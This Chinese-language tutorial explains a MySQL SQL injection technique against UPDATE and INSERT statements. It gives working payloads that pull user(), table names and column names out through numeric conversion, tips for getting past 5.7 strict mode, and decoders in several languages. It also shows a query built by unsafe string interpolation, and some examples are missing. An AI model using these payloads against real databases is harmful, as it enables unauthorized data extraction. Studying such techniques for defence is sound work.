一種新的MySQL下Update、Insert注入方法
一、前言
目前我們一般通過報錯和時間盲注來對update和insert語句進行SQL注入,下面我們來講解一種新的獲取數據的方法。
首先我們來看一個簡單的例子,假設應用會將username字段的結果會返回給我們:
- $query = "UPDATE users SET username = '$username' WHERE id = '$id';";
HTTP應用中的參數是這樣的:
- username=test&id=16
我最近研究的帶內,帶外攻擊技巧剛好適用于這個場景,要理解我的技巧,我們可以先看下Mysql 是如何處理字符串的。在Mysql 中一個字符串等于 ‘0’,我們來看一下:
假如我們把字符串和數字相加,結果和0 加這個數字一樣:
Mysql的這個屬性給了我一些靈感,我們來看看BIGINT的最大值加上一個字符串會怎樣?
結果是 ‘1.8446744073709552e19’,這表明字符串實際上作為八字節的DOUBEL類型來處理。
將一個DOUBLE類型和大數字相加會返回IEEE格式的值,為了解決這個問題我們可以使用OR。
現在我們得到了最大的64bit無符號的BIGINT值0xffffffffffffffff。我們需要注意通過OR獲取數據時,這個值必須小于BIGINT(不能超過64bit)。
二、轉換字符串為數字
為了獲取數據我們可以將應用輸出的字段轉換為數字,然后再解碼回來,如下步驟:
- String -> Hexadecimal -> Decimal
通過SQL,Python和Ruby等語言我們可以將數字轉回字符串,如下:
- Decimal -> Hexadecimal -> String
如上面提到的,Mysql中的最大值為BIGINT,我們不能超過它,也就是說每次提取的字符串不能超過8位。
4702111234474983745可以被解碼為AAAAAAAA,如果再加一個A,我們就不能正確解碼了,因為返回的結果會是無符號的BIGINT值0xffffffffffffffff。
如果需要獲取的數據超過8個字節,我們需要使用substr()方法來將數據分片。
- select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);
n的取值為1、2、3…比如我們要獲取的username長度超過8個字符,我們首先獲取前八個字符,然后繼續獲取后面的8個直到得到NULL。
最后我們把user()函數獲得的數據解碼。
三、注入技巧
1. 獲取表名
- select conv(hex(substr((select table_name from information_schema.tables where table_schema=schema() limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);
2. 獲取列名
- select conv(hex(substr((select column_name from information_schema.columns where table_name=’Name of your table’ limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);
3. 利用UPDATE語句
下面我們通過一個例子來說明如何利用更新語句。
實際的查詢語句可能是這樣的:
4. 利用INSERT語句
原始SQL語句如下:
- insert into users values (17,'james', 'bond');
我們可以像update語句中一樣獲取數據:
- insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10);
MySQL 5.7中的限制
你可能注意到這種方法在MySQL 5.7.5之后的版本并不奏效。
通過研究MySQL 5.7發現Mysql服務器默認運行在‘Strict SQL Mode’下,在MySQL 5.7.5里,默認的模式包含‘STRICT_TRANS_TABLES’。在 ‘Strict SQL Mode’ 下我們不能將integer轉換為string。
為了解決這個問題,我們需要在注入時一直使用一個integer類型,這樣就不會有任何問題了。
另外任何用戶都可以在他的會話里關閉‘Strict Mode’。
如果想設置影響所有客戶端的全局屬性需要SUPER權限。
開發者也可以使用‘IGNORE’關鍵字來忽略‘Strict Mode’,如‘INSERT IGNORE’或者‘UPDATE IGNORE’。
四、解碼Decoding
SQL
- select unhex(conv(value, 10, 16));
Python
- dec = lambda x:("%x"%x).decode('hex')
Ruby
- dec = lambda { |x| puts x.to_s(16).scan(/../).map { |x| x.hex.chr }.join }或
- dec = lambda { |x| puts x.to_s(16).scan(/\w+/).pack("H*") }